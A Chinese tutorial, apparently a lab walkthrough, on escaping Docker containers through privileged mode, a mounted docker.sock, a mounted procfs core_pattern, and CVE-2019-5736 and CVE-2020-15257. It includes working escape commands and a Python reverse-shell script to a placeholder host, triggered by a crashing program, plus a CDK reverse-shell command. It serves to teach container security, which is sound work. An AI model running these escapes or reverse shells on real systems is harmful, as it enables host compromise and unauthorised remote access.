云上攻防--云原生Docker逃逸--特权逃逸--危险挂载--漏洞逃逸

云上攻防–云原生&&Docker逃逸–特权逃逸–危险挂载–漏洞逃逸

目录标题

  • 云上攻防--云原生&&Docker逃逸--特权逃逸--危险挂载--漏洞逃逸
      • Docker介绍
      • 判断Docker环境
      • 容器逃逸-特权模式
      • 容器逃逸-危险挂载
        • 挂载DockerSocket逃逸
        • 挂载宿主机procfs逃逸
      • 容器逃逸-Docker漏洞
        • CVE-2019-5736 runC容器逃逸
        • CVE-2020-15257 containerd逃逸
      • 逃逸权限
      • 利用项目

Docker介绍

Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

判断Docker环境

  1. 查询cgroup信息
cat /proc/1/cgroup

正常主机:
image.png
docker环境:
image.png

  1. 检查根目录特定文件
ls -al / | grep "docker"

正常主机:
image.png
docker环境:
image.png

  1. 检查挂载信息
mount | grep '/ type'

正常主机:
image.png
docker环境:
image.png

  1. 查看硬盘信息
fdisk -l 

正常主机:
image.png
docker环境:
image.png

  1. 查看文件系统挂载点
df -h | egrep '(overlay|aufs)'

正常主机:
image.png
docker环境:
image.png

容器逃逸-特权模式

特权模式是指在启动docker容器时,赋予了容器过高的权限,可以使容器将宿主机上的文件挂载到容器里面从而形成容器逃逸。
特权启动一般出现在主机分权明确的情况下,业务需要足够的权限进行启动,而管理员账号本身被并不具备,因此需要特权启动容器。
环境复现:

  1. 特权启动容器
docker run --rm --privileged=true -it alpine

image.png

  1. 检测docker环境
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

两种检测方式均符合docker环境特征
image.png

  1. 判断特权启动
cat /proc/self/status | grep CapEff

特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
image.png

  1. 查看磁盘分区

查看目前环境处于哪个分区中
image.png

  1. 特权逃逸

创建目录,并将分区挂载到目录中。

mkdir /test && mount /dev/vda1 /test
  1. 逃逸成功

成功将宿主机内容挂载到test目录下
image.png

容器逃逸-危险挂载

挂载DockerSocket逃逸

将 Docker Socket 挂载到容器中可以使容器内部的应用或进程直接与宿主机上的 Docker 守护进程通信,即给予容器控制宿主机上Docker实例的能力。
应用场景:

  • 持续集成和持续部署(CI/CD):在 CI/CD 流程中,如 Jenkins、GitLab CI 或 CircleCI,构建容器需要创建、管理或销毁其他容器。例如,自动化测试过程可能需要启动一个应用容器和一个数据库容器,然后在测试完成后销毁它们。
  • 容器编排工具:管理容器集群的工具,如 Portainer 或 Rancher,需要在其容器内访问 Docker Socket,以便管理和监控集群中的容器。
  • 本地开发环境:开发人员可能使用容器化的开发环境,其中包括需要管理其他容器的工具。例如,使用 Docker Compose 在本地部署多容器应用时,主控容器可能需要访问 Docker Socket 来控制其他服务容器。
  • Docker-in-Docker(DinD)场景:在需要完全隔离的 Docker 环境中进行测试或开发时,例如测试 Docker 本身的新功能或插件,会使用到 Docker-in-Docker。这要求主容器能够完全控制内部的 Docker 守护进程。
  • 自动化部署脚本:某些自动化脚本或工具,可能被打包在容器中,并需要访问 Docker Socket 以自动部署或更新容器化应用

环境复现:

  1. 创建文件标识

在根目录下创建文件标识宿主机,以便分辨逃逸是否成功。
image.png

  1. 挂载Docker Socket容器启动
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  1. 进入容器
docker exec -it with_docker_sock /bin/bash
  1. 检测环境
ls -al / | grep docker 

检测根目录下有固定Docker特征文件,判断是在容器中
image.png

ls -lah /var/run/docker.sock

检测容器中挂载有docker.socket文件,判断为docker.socket挂载启动
image.png

  1. 安装docker客户端
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

虽然已经检测到docker.socket已经被挂载到容器中,这只能说明已经具备和宿主机docker进程进行通信的能力,但是容器中并没有docker的客户端,无法使用docker命令,因此需要安装docker客户端。

  1. 挂载逃逸
docker run -it -v /:/host ubuntu /bin/bash

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部host目录中。
image.png

  1. 逃逸成功

host目录中已经看到宿主机上的文件,后续利用可以在宿主机本身创建定时任务反弹shell。
image.png
退出容器时要退出两次才能到宿主机。
image.png

挂载宿主机procfs逃逸

在 Docker 中,挂载 procfs (/proc 文件系统)到容器通常是为了从容器内部访问宿主机的 proc 文件系统,这通常用于高级监控、诊断或其他特殊的系统管理任务。/proc 文件系统是一个特殊的文件系统,它提供了一个接口到内核数据结构,主要用于访问有关系统和运行中进程的信息。
环境复现:

  1. 挂载procfs启动容器

将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
  1. 环境监测
ls -al / | grep docker
find / -name core_pattern

在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs
image.png

  1. 寻找路径

找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

image.png
将work目录变成merged目录就是容器所在宿主机的绝对路径

/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged
  1. 创建反弹shell脚本
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

image.png赋予执行权限

chmod 777 /tmp/.x.py
  1. 写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件
echo -e "|/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

查看路径是否写入成功
image.png
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。

  • core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
  • 默认情况下,这个文件可能只包含一个单词 core,表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
  • 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如,可以设置路径和文件名,甚至可以指定一个处理核心转储的程序。

上述解释就是我们要将反弹shell文件路径写入core_pattern 中

  1. 写入引起docker崩溃的文件,诱导系统加载core_pattern 文件

安装vim以及gcc

apt-get update -y && apt-get install vim gcc -y

写入崩溃文件

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

将文件赋予执行权限

gcc x.c -o x
  1. 开启监听

在VPS中开启监听

nc -lvvp xxxx
  1. 执行崩溃文件,接收反弹shell
./x

image.png
崩溃文件执行的同时,shell也被反弹了
image.png

容器逃逸-Docker漏洞

利用Docker本身漏洞进行逃逸

CVE-2019-5736 runC容器逃逸

环境复现:

  • 复现建议:复现之前做好快照,因为复现过程中会破坏docker环境。
  • 漏洞影响版本:docker version <=18.09.2 RunC version <=1.0-rc6
  1. 安装对应的Docker版本
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

image.png

  1. 启动模拟环境
docker run -itd ubuntu:latest
  1. 构造漏洞利用POC

POC下载地址CVE-2019-5736-PoC
对main.go文件内容进行修改
image.png
使用go环境进行编译

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
  1. 上传POC

由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
上传之后赋予POC执行权限。

docker cp main xxxx:/
chmod 777 main 
./main

image.png

  1. VPS开启监听

image.png

  1. 执行POC,模拟管理员重新进入docker容器
docker exec -it xxxx/bin/bash

管理员进入容器时:
image.png

  1. 逃逸成功

管理员重新进入容器时,shell成功反弹,查看根目录下文件,并没有docker.env文件,逃逸成功。
image.png

  • 复现过后docker-runc发生了改变

image.png

CVE-2020-15257 containerd逃逸

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸。
漏洞复现:

  • 漏洞影响版本:

containerd < 1.4.3
containerd < 1.3.9

  1. 安装对应漏洞版本Docker
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

image.png

  1. 启动测试环境

用root用户以共享主机网络的方式启动容器–net=host

docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash
  1. 下载并上传自动化利用脚本

CDK

docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64
  1. 使用脚本进行漏洞检测
./cdk_linux_amd64 evaluate

收集到的信息,包括提权漏洞
image.png

  1. 尝试自动化进行逃逸
./cdk_linux_amd64 auto-escape id

显示执行id命令成功了,但是看不到回显结果,根据显示成功的关键字判断出存在哪个漏洞
image.png

  1. 指定POC进行逃逸
./cdk_linux_amd64 run shim-pwn reverse <ip> <端口>

shell反弹成功
image.png

逃逸权限

对于拿下docker环境后逃逸操作,java的环境默认就是高权限用户,php环境一般是低权限用户,需要进行提权后再进行逃逸。

利用项目

CDK
container-escape-check

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/307760.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

年轻人2023消费图鉴,媒介盒子为你揭秘

回顾近一年的消费&#xff0c;发现大家差不多都是“扣扣嗖嗖的花了很多钱”&#xff0c;如果总结2023年的大众消费关键词&#xff0c;那一定是更加“理性”&#xff0c;据艾瑞咨询《2023年中国消费者洞察白皮书》显示&#xff0c;“精细化”成为2023年的消费关键词&#xff0c;…

数字战场上的坚固屏障:雷池社区版(WAF)

黑客的挑战 智能语义分析算法&#xff1a; 黑客们常利用复杂技术进行攻击&#xff0c;但雷池社区版的智能语义分析算法能深入解析攻击本质&#xff0c;即使是最复杂的攻击手法也难以逃脱。 0day攻击防御&#xff1a; 传统防火墙难以防御未知攻击&#xff0c;但雷池社区版能有效…

树莓派非常实用的程序-2 vcgencmd

vcgencmd 工具用于从Raspberry Pi上的VideoCore GPU输出信息。您可以在 https://github.com/raspberrypi/userland/tree/master/host_applications/linux/apps/gencmd[Github].上找到 vcgencmd 实用程序的源代码。要获取支持的所有 vcgencmd 命令的列表&#xff0c;请使用 vcge…

windows系统下postgresql数据库迁移

1、先停掉postgresql服务。任务管理器中找到postgresql服务&#xff0c;选中右键停止。 2、复制C:\zprogram\路径下的pgsql文件夹到E:\zprogram\路径下。 就是把pgsql文件夹从C盘zprogram文件夹挪到E盘zprogram文件夹中。 3、windowsR键&#xff0c;输入regedit&#xff0c;打…

《软件方法》强化自测题-分析(7)

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集 按照业务建模、需求、分析、设计工作流考察&#xff0c;答案不直接给出&#xff0c;可访问自测链接或扫二维码自测&#xff0c;做到全对才能知道答案。 知识点见《软件方法》&#x…

Linux 常用指令汇总

Linux 常用指令汇总 文章目录 Linux 常用指令汇总[toc]前言一、文件目录指令pwd 指令ls 指令cd 指令mkdir 指令rmdir 指令tree 指令cp 指令rm 指令mv 指令cat 指令more 指令less 指令head 指令tail 指令echo 指令> 指令>> 指令 二、时间日期指令date 指令cal 指令 三、…

PayPal账号被关联!跨境卖家如何自救?关于PayPal防关联你不得不知道的事!

很多跨境卖家的支付平台都会选择 PayPal&#xff0c;但是 PayPal 账号在使用过程中也经常会遇见关联&#xff0c;风控等问题&#xff0c;这时候为了保护我们的 PayPal 账号安全&#xff0c;防关联就很重要。今天龙哥就分享一些关于 PayPal 防关联的内容&#xff0c;希望能够帮助…

windows安装运行Apache James(基于guide的版本)

下载地址 下载列表 https://james.apache.org/download.cgi 直接下载基于guide版本 https://www.apache.org/dyn/closer.lua/james/server/3.8.0/james-server-jpa-guice.zip 设置签名 解压&#xff0c;并切换到james-server-jpa-guice目录下&#xff0c;在powershellli执行…

【工具使用】VS Code设置字宽垂直标尺

一&#xff0c;简介 在编写代码时&#xff0c;每行写的代码过长&#xff0c;会导致查看代码不方便。所以如果能够有一条线提示宽度就好了&#xff0c;如下图所示&#xff1a; 本文就介绍如何在VS Code中添加这条提示线&#xff0c;供参考。 二&#xff0c;具体方法 settin…

Flink standalone集群部署配置

文章目录 简介软件依赖部署方案二、安装1.下载并解压2.ssh免密登录3.修改配置文件3.启动集群4.访问 Web UI 简介 Flink独立模式&#xff08;Standalone&#xff09;是部署 Flink 最基本也是最简单的方式&#xff1a;所需要的所有 Flink 组件&#xff0c; 都只是操作系统上运行…

docker搭建部署mysql并挂载指定目录

Docker是一种轻量级、可移植的容器化平台&#xff0c;可以简化应用程序的部署和管理。在本文中&#xff0c;我们将探讨如何使用Docker来搭建和部署MySQL数据库&#xff0c;并将数据和配置文件挂载到外部目录&#xff0c;以实现数据持久化和方便的配置管理。 1: 安装Docker 首…

docker+jmeter实现windows作为主控机,linux作为负载机的分布式压测环境搭建

dockerjmeter实现windows作为主控机&#xff0c;linux作为负载机的分布式压测环境搭建 1、搭建环境说明2、windows主控机安装Jmeter3、linux负载机安装Jmeter3.1、安装docker环境3.2、使用docker安装jmeter 4、windows主控机分发测试任务 1、搭建环境说明 准备一台windows主机…

element input组件自动失去焦点问题解决

最近在 Vue3 ElementPlus 中&#xff0c;使用 el-input 组件时&#xff0c;如果设置了 v-model&#xff0c;那么在每次改变内容后后&#xff0c;input 会自动失去焦点&#xff0c;这样会导致用户无法输入多个字符。 一、问题原因 如上图所示&#xff0c;配置项的 Name 和 Cod…

Zookeeper设计理念与源码剖析

Zookeeper 架构理解 整体架构 Follower server 可以直接处理读请求&#xff0c;但不能直接处理写请求。写请求只能转发给 leader server 进行处理。最终所有的写请求在 leader server 端串行执行。&#xff08;因为分布式环境下永远无法精确地确认不同服务器不同事件发生的先后…

网卡高级设置-提高网络环境

网卡高级设置&#xff0c;提高网络质量排除一些连接问题 一、有线网卡 1、关闭IPv6&#xff1b; 可以关闭协议版本6&#xff0c;因为它会引起一些网络连接问题&#xff0c;而且现在几乎用不到IP6。 2、关闭节约电源模式&#xff1b; 右击计算机->设备->设备管理器-&…

探索AI技术的奥秘:揭秘人工智能的核心原理

目录 前言 学习AI要看的第一本书 人工智能应当以人为本 史蒂芬卢奇&#xff08;Stephen Lucci&#xff09; 萨尔汗M穆萨&#xff08;Sarhan M . Musa&#xff09; 丹尼科佩克&#xff08;Danny Kopec&#xff09;&#xff08;已故&#xff09; 通晓六点&#xff0c;明白…

参会提醒|Move DevConf 2024 @上海

本次大会将有Move 语言核心开发者、Mysten Labs 联创、Aptos Labs Lead、Rooch 联创、MoveBit 联创、zkMove 联创等众多重量级嘉宾齐聚上海&#xff0c;与参会者们共同探讨 Move 的前进方向。 感兴趣的小伙伴们&#xff0c;现在报名还来得及&#xff01;报名参会即可现场领取大…

(1)(1.13) SiK无线电高级配置(五)

文章目录 前言 10 可用频率范围 11 DUTY_CYCLE 设置 12 低延迟模式 13 先听后说 (LBT) 14 升级无线电固件 15 MAVLink协议说明 前言 本文提供 SiK 遥测无线电(SiK Telemetry Radio)的高级配置信息。它面向"高级用户"和希望更好地了解无线电如何运行的用户。 1…

MVC+Layui 多选下拉框xmSelect

1、选择layui拓展第三方组件找到xmselect xmSelect下拉多选 xmSelect - Layui 第三方扩展组件平台 (layuion.com) 下载后放到项目文件中 2、项目引用js文件 <script src"~/Content/dist/xm-select.js"></script> 3、html添加表单设置id <div class…

鸿蒙开发已解决-arkts编译报错-arkts-limited-stdlib错误

文章目录 项目场景:问题描述原因分析:解决方案:适配指导案例此Bug解决方案总结项目场景: arkts编译报错-arkts-limited-stdlib错误。 我用Deveco studio4.0 beta2开发应用,报arkts-limited-stdlib错误 报错内容为: ERROR: ArKTS:ERROR File: D:/prRevivw/3792lapplica…